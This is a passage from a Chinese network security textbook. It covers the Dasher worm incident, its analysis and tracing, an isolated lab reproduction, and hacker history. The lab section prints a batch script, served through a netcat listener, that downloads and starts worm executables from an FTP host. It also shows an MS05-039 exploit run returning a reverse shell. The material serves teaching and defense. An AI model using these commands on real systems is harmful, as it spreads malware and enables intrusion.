網路攻防技術與實踐

  內容簡介

《安全技術大系:網路攻防技術與實踐》是一本面向網路安全技術初學者和相關專業學生的基礎書籍,全面介紹了網路攻防的基本理論知識、技術方法和工具軟體。在介紹每一部分網路攻防技術之後,通過一些自主設計和從社區借鑒的實踐作業,來引導讀者在具體實戰答題過程中,更加深入地去理解所講解的攻防理論知識與技術原理,並培養核心的安全攻防實戰技能。

《網路攻防技術與實踐》共分為四個部分12章,系統地介紹了網路攻防技術的基礎知識體系、核心技術方法,並在每章中結合實際案例講解、hands-on動手實踐、實踐作業,來引導讀者學習和掌握網路攻防的實戰技能。《安全技術大系:網路攻防技術與實踐(附DVD-ROM光盤1張)》附帶的DVD 光盤中包含了各個章節的演示案例、hands-on實踐作業與部分實戰的影片演示或示範解答。

《安全技術大系:網路攻防技術與實踐(附DVD-ROM光盤1張)》提供了搭建《安全技術大系:網路攻防技術與實踐(附DVD-ROM光盤1張)》設計的網路攻防實驗環境所需的定制虛擬機鏡像,可供讀者下載使用。在某種程度上,《安全技術大系:網路攻防技術與實踐(附DVD-ROM光盤1張)》也是一本網路攻防技術的參考手冊。

《安全技術大系:網路攻防技術與實踐(附DVD-ROM光盤1張)》適合於網路和系統安全技術的愛好者、信息安全專業學術、網路與系統安全方向的研究生、網路與系統管理員,以及網路安全從業人員。

作者簡介

諸葛建偉,博士,現為清華大學網路與信息安全實驗室副研究員、狩獵女神科研團隊負責人、CCERT緊急響應組成員、著名開源信息安全研究團隊The Honeynet Project的正式成員。以及中國蜜網項目組團隊發起人和現任負責人、信息安全領域培訓講師和自由撰稿人。期望與志同道合之士一起通過科研創新、開源開發、知識傳播和社會服務,為提升中國互聯網的安全水平以及國家信息安全軟實力做出貢獻。

目錄

第一部分 概述

第1章 網路攻防技術概述

1.1 網路攻防實際案例——黛蛇蠕蟲

1.1.1 黛蛇蠕蟲事件過程

1.1.2 黛蛇蠕蟲機理

1.1.3 黛蛇蠕蟲的取證分析與追蹤

1.1.4 重現黛蛇蠕蟲傳播場景

1.2 黑客與黑客道

1.2.1 黑客與駭客

1.2.2 黑客道起源

1.2.3 黑客道的分化

1.2.4 黑客道「現代史」

1.2.5 中國的黑客道

1.3 網路攻防技術概述

1.3.1 網路攻防技術框架

1.3.2 網路攻擊剖析圖

1.4 物理攻擊與社會工程學

1.4.1 物理攻擊

1.4.2 社會工程學

1.5 黑客道德與法律法規

1.5.1 黑客應有的態度

1.5.2 黑客道德

1.5.3 法律法規

1.6 小結

實踐作業

參考與進一步閱讀

第2章 網路攻防實驗環境

2.1 虛擬化網路攻防實驗環境

2.1.1 為什麼需要實驗環境

2.1.2 虛擬化網路攻防實驗環境

2.2 網路攻防實驗環境配置

2.2.1 網路攻防虛擬機鏡像

2.2.2 個人版網路攻防實驗環境

2.2.3 專業版網路攻防實驗環境

2.3 網路攻防的活動與競賽形式

2.4 小結

實踐作業

參考與進一步閱讀

第二部分 網路安全攻防技術與實踐

第3章 網路信息收集技術

3.1 網路信息收集概述

3.2 網路踩點

3.2.1 網路踩點概述

3.2.2 Web信息搜尋與挖掘

3.2.3 DNS與IP查詢

3.2.4 網路拓撲偵察

3.2.5 利用網路踩點技術追蹤「黑客」案例演示

3.2.6 動手實踐:DNS與IP查詢

3.3 網路掃描

3.3.1 網路掃描的目的與類型

3.3.2 主機掃描

3.3.3 端口掃描

3.3.4 系統類型探查

3.3.5 動手實踐:nmap

3.3.6 漏洞掃描

3.3.7 動手實踐:Nessus

3.3.8 網路掃描完整解決方案

3.4 網路查點

3.4.1 網路服務旗標抓取

3.4.2 通用網路服務查點

3.4.3 類UNIX平台網路服務查點

3.4.4 Windows平台網路服務查點

3.4.5 網路查點防范措施

3.5 小結

實踐作業

參考與進一步閱讀

第4章 網路嗅探與協議分析

4.1 網路嗅探

4.1.1 網路嗅探技術概述

4.1.2 網路嗅探的原理與做到

4.1.3 網路嗅探器軟體

4.1.4 網路嗅探的檢測與防范

4.1.5 動手實踐:tcpdump

4.2 網路協議分析

4.2.1 網路協議分析技術

4.2.2 網路協議分析工具Wireshark

4.2.3 動手實踐:Wireshark

4.3 小結

實踐作業

參考與進一步閱讀

第5章 TCP/IP網路協議攻擊

5.1 TCP/IP網路協議棧攻擊概述

5.1.1 網路安全屬性與攻擊模式

5.1.2 TCP/IP網路協議棧安全缺陷與攻擊技術

5.1.3 原始報文偽造技術及工具

5.2 網路層協議攻擊

5.2.1 IP源地址欺騙

5.2.2 ARP欺騙

5.2.3 ICMP路由重定向攻擊

5.3 傳輸層協議攻擊

5.3.1 TCP RST攻擊

5.3.2 TCP 會話劫持攻擊

5.3.3 TCP SYN Flood拒絕服務攻擊

5.3.4 UDP Flood拒絕服務攻擊

5.4 TCP/IP網路協議棧攻擊防范措施

5.5 小結

實踐作業

參考與進一步閱讀

第6章 網路安全防范技術

6.1 安全模型

6.2 網路防范技術與系統

6.2.1 防火牆技術概述

6.2.2 防火牆技術和產品

6.2.3 Linux開源防火牆:netfilter/iptables

6.2.4 動手實踐:防火牆配置

6.2.5 其他網路防禦技術

6.3 網路檢測技術與系統

6.3.1 入侵檢測技術概述

6.3.2 開源網路入侵檢測系統:Snort

……

第三部分 系統安全攻防技術與實踐

第四部分 Web安全攻防技術與實踐

http://book.itpub.net/tushu/book/2006/0501/52154_2.html

第1章 網路攻防技術概述

「道可道,非常道。名可名,非常名。無名天地之始,有名萬物之母。故常無欲以觀其妙;常有欲以觀其徼。此兩者同出而異名,同謂之玄,玄之又玄,眾妙之門。」

——春秋·老子《道德經》

塵世間,萬物發展皆有其「道」,網路攻防技術之「道」則由真正意義上的黑客們所掌控,謂之黑客道。在黑客道的起源和發展過程中,最早的黑客先驅和前輩們創造了計算機與網路,讓我們的社會擁有了豐富多彩的網路世界;那些自稱為黑客的網路「駭客」們出於經濟、政治、心理等各種不同類型的動機,在這個原本平和的網路世界中興風作浪,對人們能夠安全和自由地使用計算機網路構成威脅;而真正的黑客們,則在利用他們的智慧、經驗和技能,永不停歇地探索著新的攻防技術,幫助人們建設一個更加安全、開放和自由的網路世界。本章將對網路攻防技術基本輪廓,以及網路攻防領域的掌控者——黑客道進行概述。

1.1 網路攻防實際案例——黛蛇蠕蟲

黛蛇(Dasher)蠕蟲是互聯網上爆發的一個著名蠕蟲案例,對該蠕蟲的應急響應處置是筆者在學生階段與狩獵女神團隊(中國蜜網項目組)一起在網路攻防技術領域的「開山之作」。我們在第一時間監測到了黛蛇蠕蟲的活動,並截獲了傳播樣本,在深入分析樣本行為機理的基礎上,協助國家計算機網路應急技術處理協調中心(CNCERT/CC)對該蠕蟲實施了有效控制,從而避免了它的進一步爆發性傳播。本節將通過回顧黛蛇蠕蟲事件全過程,以及重現蠕蟲傳播場景,希望給讀者留下對網路攻防領域的一個初始印象。

1.1.1 黛蛇蠕蟲事件過程

從1988年莫裡斯(Morris)蠕蟲造成互聯網前身阿帕網(ARPANET)癱瘓開始,蠕蟲一直是危害互聯網的一類重要安全威脅形態,特別是2001—2004年間,紅色代碼(Code Red)、衝擊波(Blaster)、震蕩波(Sasser)等蠕蟲接踵而來,傳播方式日趨多樣化且傳播速度日益提升,天空(Skynet)、Mydoom、貝革熱(Bagle)甚至在互聯網上打起了蠕蟲大戰,一時間互聯網網民深受其害,從而談「蟲」色變。

而黛蛇蠕蟲,可以說是互聯網安全威脅從網路病毒蠕蟲時代終結、進入以僵屍網路和網頁木馬為熱點的客戶端威脅時代的網路蠕蟲的一次「謝幕演出」。黛蛇蠕蟲是2005年12月15日開始在互聯網上爆發的,主要是利用微軟Windows操作系統在同年10月份爆出的MSDTC服務MS05-051安全漏洞,同時還集成了MS05-039、MS04-045等漏洞的攻擊代碼。黛蛇蠕蟲爆發後,狩獵女神團隊通過在互聯網上部署的蜜罐系統在第一時間截獲了蠕蟲樣本,並積極配合CNCERT/CC對蠕蟲爆發事件進行了應急處置,在應急響應的黃金時間裡有效地抑制了蠕蟲的傳播,避免了黛蛇蠕蟲像以往的著名蠕蟲一樣對互聯網造成嚴重危害。

黛蛇蠕蟲事件應急處置過程的時間線如下:

12月15日21:45,狩獵女神團隊在第一時間監測發現並截獲黛蛇蠕蟲樣本;

12月16日10:24,向CNCERT/CC報告了黛蛇蠕蟲爆發事件,定位了用於傳播的Shell控制指令、FTP服務器;

12月16日19:30,此時黛蛇蠕蟲已感染上萬台主機,CNCERT/CC協調關閉了用於傳播的FTP服務器,從而控制了蠕蟲的進一步傳播;

12月16日19:45,發布黛蛇蠕蟲樣本分析報告;

12月17日協助CNCERT/CC對相關主機進行了取證分析,定位蠕蟲編寫者為河南省南陽市某ADSL用戶,並追蹤到蠕蟲編寫者的網名及個人博客;

12月18日15:00,協助CNCERT/CC發布黛蛇蠕蟲公告,如圖1?1所示。

網路攻防技術與實踐

圖1-1 狩獵女神團隊協助CNCERT/CC應急處置的黛蛇蠕蟲事件公告

12月19~20日,國內反病毒廠商和電信經營商開始關注黛蛇蠕蟲威脅,並通過各種技術手段幫助網民用戶有效地移除了黛蛇蠕蟲。

1.1.2 黛蛇蠕蟲機理

在截獲黛蛇蠕蟲樣本之後,狩獵女神團隊立即對樣本進行了深入的手工分析,並利用基於API劫持(API Hooking)技術做到的MwSniffer惡意代碼動態行為分析工具,揭示出了黛蛇蠕蟲的行為機理。12月16日19:45,狩獵女神團隊完成對黛蛇蠕蟲的詳細分析,在狩獵女神團隊網站以及The Honeynet Project內部網站Dasher蠕蟲事件處理討論專題中進行了發布,並匯報給了CNCERT/CC。

在黛蛇蠕蟲案例中,我們以蜜罐主機向外部網路1025端口發起的異常掃描流量為作為切入點,通過對蜜網捕獲的數據進行關聯分析,得到如圖1-2所示的黛蛇蠕蟲攻擊場景,包括如下步驟:

①外部感染源首先通過TCP 1025端口的MSDTC服務漏洞MS05-051攻陷蜜罐主機;

②注入的Shellcode執行後將連接控制命令服務器,獲取FTP服務器位置和下載指令;

③從FTP服務器下載黛蛇蠕蟲樣本到蜜罐主機;

④在蜜罐主機上激活黛蛇蠕蟲;

⑤在蜜罐主機上激活後的黛蛇蠕蟲將進一步對外進行掃描和傳播。

網路攻防技術與實踐

圖1-2 黛蛇蠕蟲的傳播機理圖示

黛蛇蠕蟲運行後,會掃描並試圖利用漏洞攻擊目標主機,目標主機的地址是蠕蟲攜帶的地址列表生成的,多數地址瞄準了中國互聯網上的國內用戶。蠕蟲攻擊目標主機成功後,會操縱目標主機自動連接到某控制命令服務器的53號端口,請求黑客指令,然後根據指令從某個FTP服務器下載並運行一個鍵盤記錄軟體和黛蛇蠕蟲文件包,從而完成傳染過程。其中存放樣本的FTP服務器地址是由控制命令服務器動態指定的。蠕蟲從FTP服務器下載的0.exe文件是可解壓縮運行的鍵盤記錄軟體,該鍵盤記錄軟體會記錄用戶按鍵操作。下載的1.exe文件經解壓縮執行後,在系統目錄下的wins目錄釋放出6個可執行文件,分別為Sqltob.exe、Sqlscan.exe、Sqlexp.exe、Sqlexp1.exe、Sqlexp2.exe、Sqlexp3.exe。其中:

Sqlexp.exe攻擊MS04-045 WINS服務漏洞,協議和端口為TCP/42;

Sqlexp1.exe攻擊MS05-039 UPNP漏洞,協議和端口為TCP/445;

Sqlexp2.exe 攻擊MS05-051 MSDTC漏洞,協議和端口為TCP/1025;

Sqlexp3.exe利用SQL hello exploit工具攻擊MS SQLServer漏洞,協議和端口為TCP/1433。

在黛蛇蠕蟲行為機理分析過程中,一方面通過手工分析、輔助動態分析等手段掌握了該蠕蟲的行為特徵和模式,為CNCERT/CC應用進一步手段抑制該蠕蟲大規模傳播提供了決策支持;另一方面在分析過程中,我們特別對該蠕蟲所連接的Shell控制命令服務器、FTP服務器、Web空間服務器的IP地址進行了特殊關注和持續追蹤,這些信息也是進一步對黛蛇蠕蟲實施取證分析和追蹤的關鍵。

1.1.3 黛蛇蠕蟲的取證分析與追蹤

在有效應對處置黛蛇蠕蟲、抑制了該蠕蟲爆發的基礎上,狩獵女神團隊進一步協助CNCERT/CC進行了深入的受控主機取證分析以及對蠕蟲編寫者的追蹤溯源,並最終確定了蠕蟲編寫者的上網IP地址、所在省市及其網路身份。由於響應及時,該案例並未對互聯網造成嚴重影響,同時CNCERT/CC並不具備執法權限,因此未對蠕蟲編寫者進行更進一步的追查。

我們對黛蛇蠕蟲的取證分析和編寫者追蹤的主要過程如下。

①通過CNCERT/CC分中心協調,嘗試獲得黛蛇蠕蟲傳播過程中涉及的控制命令服務器、FTP服務器、Web空間服務器的遠程訪問,進行取證分析。

②遠程登錄FTP服務器,獲取到FTP服務器的Banner,發現包括[Evil Security Team]字樣,同時可通過FTP顯示的登錄次數、下載文件數統計可能黛蛇蠕蟲傳播規模。經查該服務器屬於中科院某研究所,通過CNCERT/CC陜西分中心協調獲取到FTP服務器的遠程訪問權限,登錄該FTP服務器(Windows Server 2003),對黑客上傳的FTP服務程序、黛蛇蠕蟲樣本等進行了證據保全,並檢查了黑客攻擊該服務器的時間、以上傳FTP服務程序以及黛蛇蠕蟲樣本的日志信息。由於該服務器並未有嚴格的日志記錄,未能有效地分析出攻擊來源。

③通過IP定位確認控制命令服務器屬於湖南某大學,通過協調讓該服務器下線檢查,但未能取得該服務器的遠程訪問取證權限。

④通過CNCERT/CC廣東分中心取得Web空間服務器的遠程訪問取證權限,經過檢查IIS日志提取了蠕蟲樣本所訪問Web空間的遠程訪問日志。並通過與前述FTP服務器的文件上傳日志進行關聯分析,找出了與黛蛇蠕蟲的投放緊密相關的IP地址。

⑤通過進一步追查,定位該IP地址為河南省南陽市的某ASDL用戶,通過CNCERT/CC協調電信確認為該市某用戶上網地址。

⑥通過對[EST]黑客團隊進行互聯網搜尋,找出「黑客」[EST]xiooou[①]的個人博客地址,通過後期跟蹤確定該名「黑客」即黛蛇蠕蟲編寫者,並對該名「黑客」進行了全面調查分析。

1.1.4 重現黛蛇蠕蟲傳播場景

根據對黛蛇蠕蟲的行為機理分析結果,我們可以在物理隔離的單機環境上構建網路攻防的演示和實驗環境[②],重現黛蛇蠕蟲的傳播場景。

我們在一台較高性能的服務器上,通過VMware vSphere虛擬化技術和蜜網技術的結合,利用虛擬蜜網技術框架,即可構建一套完整的黛蛇蠕蟲傳播場景演示和實驗環境,如圖1-3所示。

基於虛擬蜜網環境重現黛蛇蠕蟲傳播場景包括如下部分。

黛蛇蠕蟲感染源:我們以VMware vSphere中的一台虛擬機作為黛蛇蠕蟲感染源,在演示過程中,我們並不直接運行傳播目標不受控制的蠕蟲樣本,而是用著名的網路滲透攻擊開源軟體Metasploit,以及從黛蛇樣本中抽取出的滲透攻擊代碼(如攻擊MS05-039安全漏洞的Sqlexp1.exe),來對感染目標主機進行受控的傳播攻擊實驗。

控制命令服務器及FTP服務器:我們在VMware vSphere中另外使用一台虛擬機運行控制命令服務和FTP服務。控制命令服務以具有網路攻防瑞士軍刀之稱的netcat工具構建,FTP服務用Serv-U軟體搭建。

感染目標蜜罐主機:以VMware vSphere中的一台虛擬機作為感染目標蜜罐主機,安裝Windows 2000 Server存在相應安全漏洞的早期版本。蜜罐主機中安裝Sebek開源攻擊行為監控軟體,從而對蜜罐主機上的鍵擊記錄等系統行為進行采集。

蜜網網關:同樣在VMware vSphere中使用虛擬機部署用於網路行為捕獲和控制的蜜網網關,安裝ROO v1.4開源蜜網網關軟體。

網路攻防技術與實踐

圖1?3 基於虛擬蜜網環境重現黛蛇蠕蟲傳播場景

下面通過兩個演示過程來展示黛蛇蠕蟲所利用的安全漏洞,以及黛蛇蠕蟲的實際傳播場景。

演示1.通過Metasploit軟體攻擊黛蛇蠕蟲利用的MS05-039安全漏洞

在宿主主機上運行Metasploit軟體中的MSFConsole(命令行界面),按照圖1-4輸入針對MS05-039即插即用服務漏洞的滲透攻擊命令和配置參數選擇,攻擊成功後將獲得反向的Shell,對目標主機進行控制[③]。通過蜜網網關,可以監控和分析作為攻擊源的宿主主機對目標主機所發起的滲透攻擊的全過程。

演示2.黛蛇蠕蟲實際傳播場景

黛蛇蠕蟲實際傳播場景演示包括如下步驟。

①架設FTP服務,提供黛蛇蠕蟲樣本下載,在演示實例中我們設置的FTP用戶和密碼為Dasher/mima,黛蛇蠕蟲樣本為0.exe和1.exe。

②編寫FTP下載樣本和執行樣本的批處理命令,並使用NetCat工具架設控制命令服務。黛蛇蠕蟲實際傳播場景使用的Shell命令如圖1-5所示,NetCat工具將監聽172.31.4.200的53端口,並對連入網路連接提供command.txt中所包含的批處理命令,從FTP下載執行黛蛇蠕蟲樣本。

網路攻防技術與實踐

圖1?4 利用Metasploit攻擊MS05-039安全漏洞

C:\Dasher\type command.txt

@echo off

echo user > ftpdown.tmp

echo Dasher mima >> ftpdown.tmp

echo get 0.exe c:\0.exe >> ftpdown.tmp

echo get 1.exe c:\1.exe >> ftpdown.tmp

echo bye >> ftpdown.tmp

ftp -n -s:ftpdown.tmp 172.31.4.200

start c:\0.exe

start c:\1.exe

C:\Dasher\type command.txt | nc -l -p 53

網路攻防技術與實踐

圖1?5 黛蛇蠕蟲實際傳播演示場景——黛蛇蠕蟲傳播使用的Shell命令

③在宿主主機上運行作為感染源的黛蛇蠕蟲滲透攻擊程序,設置攻擊目標主機的IP地址及操作系統類型,以及控制命令服務的IP地址和監聽端口,實施黛蛇傳播攻擊,黛蛇蠕蟲利用的滲透攻擊程序執行過程如圖1-6所示。

C:\Dasher\SqlExp1.exe 172.31.4.223 172.31.4.200 53 1

MS05-039 Windows PnP Remote Overflow Exploit

Connect back shellcode Edition By superlone[EST]

Tested On Windows 2000 PRO SP4 CN

[+] Trying to connect to remote port on172.31.4.223 …ESTABLISHED

[+] Making null session …OK

[+]Trying to bind pipe…OK

[*] Trying to send crafted packet…OK

[+]Exploit done!Check your reverse shell on 172.31.4.200:53

網路攻防技術與實踐

圖1?6 黛蛇蠕蟲實際傳播演示場景——黛蛇蠕蟲利用的滲透攻擊程序執行過程

④查看感染目標蜜罐主機的文件系統、任務運行列表和系統狀態,可以發現C盤根目錄下已被植入黛蛇蠕蟲樣本,並在任務運行列表中可以發現0.exe、1.exe及進一步釋放出的SqlExp*.exe正在運行,而CPU占用快速上升至近90%,黛蛇蠕蟲感染目標主機後的系統狀態如圖1-7所示。

網路攻防技術與實踐

圖1?7 黛蛇蠕蟲感染目標主機後的系統狀態

⑤通過蜜網網關對黛蛇蠕蟲傳播過程進行分析,可以從記錄的網路連接記錄、原始報文記錄和Sebek監控的系統行為記錄中,了解黛蛇蠕蟲的整個傳播場景機理和過程。

1.2 黑客與黑客道

在人們談論網路攻防時,往往馬上會和「黑客」聯繫在一起,然而大多數情況下他們口中的「黑客」並非真正意義上的黑客,而是駭客。真正的黑客才是網路攻防技術的創造者和掌控者。

1.2.

1.2.1 黑客與駭客

黑客(Hacker)這個名稱最早出現在20世紀60年代。當時,美國麻省理工學院(MIT)一群致力於計算機科學研究的學生通宵達旦地在實驗室裡操作機器,分析、研究程序和計算機系統,檢測軟硬體的瑕疵並修正。他們需要共享程序源代碼、糾錯並改進工作,這類工作被賦予了一個名稱——「hack」,而從事這些工作的人被賦予了一個稱謂——「黑客」。

英文動詞「hack」原意為「劈」、「砍」,也就是「劈出」、「開辟」的意思,進一步引申的意思是「幹了一件非常漂亮的工作」,在這裡是被用來形容「在技術上,某人聰明地找到了解決問題的方法」。而「hacker」的原意則是用斧頭做家具的能工巧匠,麻省理工的學生們重新賦予這個極具挑戰性的古老職業新的含義:能夠面對挑戰,創造技術,解決問題的人。潛移默化中,「hacker」的這一用法得到了廣泛的承認。

由此,從起源來看,黑客是一個帶有褒義的詞語,是指那些技術高超、愛好鑽研計算機系統並竭力提高其性能的工程師。他們不以破壞或擾亂計算機系統為目的,相反,他們竭其所能,不斷改進和完善計算機系統,為計算機的發展做出了巨大貢獻。

但是,隨著網路技術的發展,如今這一稱呼所指向的群體卻發生了根本性的變化。尤其是現在,人們提到黑客,一般所聯想到的都是「計算機搗亂分子」或是「計算機犯罪分子」,他們掌握著看起來很「高超」的計算機技術,並依靠這種技術實施非法入侵、偷竊、破壞等不良行為。

現階段,人們使用「黑客」這一稱呼時,其中至少包含了兩類人:

第一類是真正的黑客或稱為經典黑客,是指那些對任何操作系統神秘而深奧的工作方式由衷地感興趣的人。他們通常是工程師,掌握操作系統和編程語言方面的高級知識,能發現系統中所存在的安全漏洞以及導致那些漏洞的原因。他們不停地探索新的知識,自由地共享他們的發現;他們從來沒有、也永遠不會存心破壞數據;他們喜歡挑戰或設法避開層層安全措施,獲得訪問權並盡可能深入地訪問系統內部,四處看看,不拿任何東西、不破壞任何東西,只是學習一切,然後離開。他們相信自己有權利這麼做,僅僅因為他們有能力這麼做,他們無意於破壞系統,盡管他們很容易做到這一點。他們是真正的黑客。

第二類便是駭客(cracker)。在英語中,crack有「使破裂」、「猛擊」之意。不難看出,駭客是指惡意攻擊者,是指那些強行闖入終端系統或者以某種惡意目的干擾終端系統完整性的人。駭客通過獲取未授權的訪問權限,破壞重要的數據。惡意侵入、破壞他方信息系統的「黑客」應該被稱為駭客,他們不再是新東西的創造者,而是這個世界的破壞者。如果他們破壞的程度觸及到了違犯刑律,他們就變成了真正的罪犯,而不是黑客。

在著名的黑客辭典(Jargon File)[④]中,對黑客(hacker)這一詞匯做出如下的解釋,也明確區分了黑客和駭客這兩個完全不同的社會族群。

1.迷戀於探索可編程系統的細節及如何拓展其能力的方法;

2.狂熱的(甚至強迫性的)編程愛好者;

3.能夠賞識黑客能力和價值的人;

4.擅長於快速通過編程解決問題的人;

5.一個特定領域或語言的專家,如UNIX黑客;

6.任何行業中的專家或狂熱愛好者,如天文學狂熱者(astronomy hacker);

7.能夠從創造性地征服和突破困難問題中得到樂趣的人;

8.[偏見] 試圖通過四處刺探的方法獲取敏感信息的惡意搗亂者,這種人應該被稱為駭客(cracker),而不是黑客。

駭客(cracker)這一詞匯是在1985年由黑客社群提出的,用於反駁媒體對「黑客(hacker)」詞匯的濫用。駭客是破解系統安全機制進行攻擊的人,與普遍流傳的傳奇故事恰恰相反,破解攻擊通常並不需要什麼高深神秘的黑客才能和技術,更多的是利用對破解目標系統普遍存在安全漏洞的一些廣為人之的技巧和竅門,進行持續無聊地重復。因此,真正的黑客是看不起駭客和他們的駭客行為的,盡管真正的黑客也曾經進行過一些無傷大雅的破解攻擊行為,也了解這些基本的技巧,但經過啟蒙階段的黑客已經不再有進行破解攻擊的意願,除非是出於緊急、良好且實際的需要。

因此,事實上駭客社群和黑客社群之間的交叉範圍要比被媒體所誤導的普通讀者所認知的要少很多。駭客通常組織成小型的、結構緊密的、秘密的團夥,而與龐大的、開放的多元化黑客社群是完全不同的,兩者之間的文化是背道而馳的。盡管駭客經常喜歡將自己標榜成黑客,但是真正的黑客仍然將其視為與之不相關的「低等生物」。

1.2.2 黑客道起源

Hackerdom,黑客道。如同-dom作為英文名詞後綴表示抽象含義,源自中國的「道」也更多是對精神層面的探究,源自中國的「道」無法用具體的語言來描述,更多的需要去體會源遠流長的國學,同樣,源自西方的Hackerdom(黑客道)也需要在直面挑戰追逐技術的路徑中慢慢琢磨和尋味。

Eric S. Raymond在其知名著作「E.S.R五部曲之黑客道簡史」中指出,黑客道的起源實際上同時伴隨著計算機技術的出現和發展,黑客社區也是由計算機技術發展過程中做出重大貢獻的先驅們所組成和發展壯大的。

黑客道史前時代——「真程序師」(Real Programmer)時代

黑客道隨著1945年艾克特(Eckert)和莫齊利(Mauchly)發明世界上第一台計算機ENIAC之後開始萌芽。不斷有狂熱的真程序師投入其中,他們通過硬體器件搭建系統,使用原始編程語言甚至機器碼編程,通過打卡機將程序穿孔到卡片上,通過讀卡機輸入計算機並執行。他們以撰寫軟體與玩弄各種程序設計技巧為樂,逐漸形成具有自我意識的一套科技文化。當時這批真程序師主要來自工程界與物理界,他們戴著厚厚的眼鏡,穿著T恤衫與純白襪子,用機器語言、匯編語言、FORTRAN及很多古老語言寫程序。他們是黑客道史前時代的先驅者,默默貢獻,卻鮮為人知。Cray巨型機的設計者西摩·克雷(Seymour Cray)就是「最偉大的真程序師」中的一員,據說他一人就包辦了Cray硬體和操作系統的設計,作業系統是他用機器碼硬幹出來的,沒有出過任何bug,運行穩定。真程序師,真大犇也。

從第二次世界大戰結束後到20世紀60年代,是打卡計算機與所謂「大鐵塊」的巨型機(mainframes)流行的年代,由偉大的真程序師們主宰著計算機文化。

黑客道的遠古時代——ITS文化

黑客道的真正誕生是在20世紀60年代,從社會與文化背景上分析,是60年代的民權運動和嬉皮士文化與人類歷史上最具革命性的技術——計算機技術的結合產物。黑客道的「公元紀年」始於1961年,DEC公司創始人奧爾森(Olsen),向母校麻省理工捐贈了一台PDP-1大型機,麻省理工的學生們將這台機器當成最時髦的科技玩具,開始在上面創造各種程序和新技術。美國其他大學也開始購置大型機,當時許多大學都買DEC的PDP「迷你電腦」[⑤]系列機器,因為DEC率先發展出商業用途為主的交互式計算及分時操作系統,兼具彈性與速度,相對於巨型機還很便宜。一開始,整個黑客道的發展以麻省理工的AI實驗室為中心,但史丹佛AI實驗室(簡稱SAIL)與卡內基·梅隆大學(Carnegie mellen Univensity,簡稱CMU)也快速崛起。三個都是大型的計算機科學研究中心及人工智能權威研究機構,聚集著世界各地的精英,不論在技術上或精神層次上,對黑客道的發展都有極高的貢獻。

1969年,美國國防部出資興建阿帕網(ARPANET),將美國各大學、國防部承包商和研究機構的巨型機和大型機都聯上網,形成了第一個橫跨美國的高速網路。ARPANET所帶來的信息高速網路使得全美國和全世界的黑客能聚在一起,不再像以前孤立在各地形成一股股的短命文化,網路把他們匯流成一股強大的力量。

從麻省理工那台PDP-1開始,黑客們的主要程序開發平台都是PDP。在PDP流行的時代,阿帕網上是DEC機器的天下,其中最受黑客們青睞的便屬PDP-10。麻省理工像大家一樣用PDP-10,但他們不屑用DEC的操作系統,他們偏要自己寫一個(傳說中赫赫有名的)ITS。ITS全名是「不兼容的分時系統」(Incompatible Timesharing System),取這個怪名果然符合麻省理工的搞怪作風——就是要與眾不同。很幸運,這群人並非「夜郎自大」。盡管ITS通常離奇古怪並與錯誤相伴,但是這不足以遮蓋許多技術創新的光芒,而且ITS至今還是分時系統單次運行時間最長記錄的保持者。ITS本身是用匯編語言寫的,其他部分則由LISP寫成。LISP在當時是一個威力強大、極其靈活的編程語言,LISP讓ITS文化的黑客們得以盡情發揮想像力與搞怪能力。

作為ITS文化起源地和黑客道「盟主」,麻省理工當然不會滿足於自己小打小鬧,他們的野心很大,1964年他們開始和通用電器(GE)及貝爾實驗室合作研發商業化的Multics操作系統,目標是占領所有巨型機和大型機的分時操作系統市場。雖然Multics引入了眾多對操作系統技術發展做出巨大貢獻的新概念和新技術,但是由於設計過於複雜和超前,工作進度緩慢,最後終究遭裁撤的命運,1969年貝爾實驗室退出該計劃。而通用電器也將包括Multics在內的計算機業務賣給了霍尼韋爾(HoneyWell)公司,霍尼韋爾公司還是堅持將Multics推向了市場,雖然在20世紀70年代賣出了幾十套,但在隨後的市場競爭中輸得很慘,1987年霍尼韋爾放棄對Multics的維護,最後一台Multics在2000年也關了機。Multics最終退出了歷史舞台,但即使它在市場上失利,也難以掩蓋Multics在技術發展上的歷史貢獻,更何況Multics孕育了更加輝煌的UNIX。

黑客道的近古時代– UNIX與微計算機文化

在ITS文化全盛時期,美國新澤西州郊外,另一股神秘力量在積極入侵黑客社會,並最終顛覆了整個ITS文化傳統。1969年,也就是阿帕網成立的那一年,AT&T貝爾實驗室的軟體工程師肯·湯普遜(Ken Thompson)發明了UNIX。

Ken Thompson曾隨貝爾實驗室參與Multics操作系統的開發,工作之餘自己寫了個「星際旅行」的遊戲在Multics上自娛自樂。然而貝爾實驗室很快發現無法做到龐大複雜的Multics,因此很快退出了合作研發隊伍。而Ken的「星際旅行」沒地方玩了,他就在實驗室裡一台報廢的PDP-7上胡亂寫了一個操作系統,該系統在設計上有從Multics抄來的也有他自己的構想,用來繼續玩他的遊戲。Ken的同事Brian Kernighan嘲笑Ken說:「你寫的系統好遜哦,乾脆叫Unics算了(Unics發音與太監的英文eunuches一樣)。」Ken的操作系統因此得名,並在後來才改名為UNIX。

Ken在貝爾實驗室的同事丹尼斯·裡奇(Dennis Ritchie),剛剛發明了新的編程C語言,於是他與Ken用C語言把原來用匯編語言寫的UNIX重寫一遍。如同UNIX一樣,C語言的設計非常出色,嚴謹而不失彈性,UNIX和C語言很快地在貝爾實驗室的工程師中得到歡迎。不過Ken與Dennis的雄心壯志還不止於此,他們領悟到硬體與編譯器結合技術,已經顛覆了需要完全使用匯編語言編寫操作系統才能發揮機器效能的傳統,進步到作業系統可以完全用高級語言如C來寫,通過編譯技術轉換為機器碼,仍保有不錯的效能。五年後,UNIX已經成功地移植到數種機器上,這當時是一件不可思議的事!它意味著,如果UNIX可以在各種平台上跑,UNIX 軟體就能移植到各種機器上,再也用不著為特定的機器寫軟體了。UNIX和C語言的絕佳搭檔得到出乎意料的快速發展,到了1980年,已蔓延到大學與研究機構,還有數以千計的黑客想把UNIX裝在家裡的機器上。由於UNIX與C語言的深遠影響,1983年美國計算機協會將當年的圖靈獎破例頒給了作為軟體工程師的Ken與Dennis,而自圖靈獎誕生以來,其獲得者一直都是計算機領域的科學家與學者。

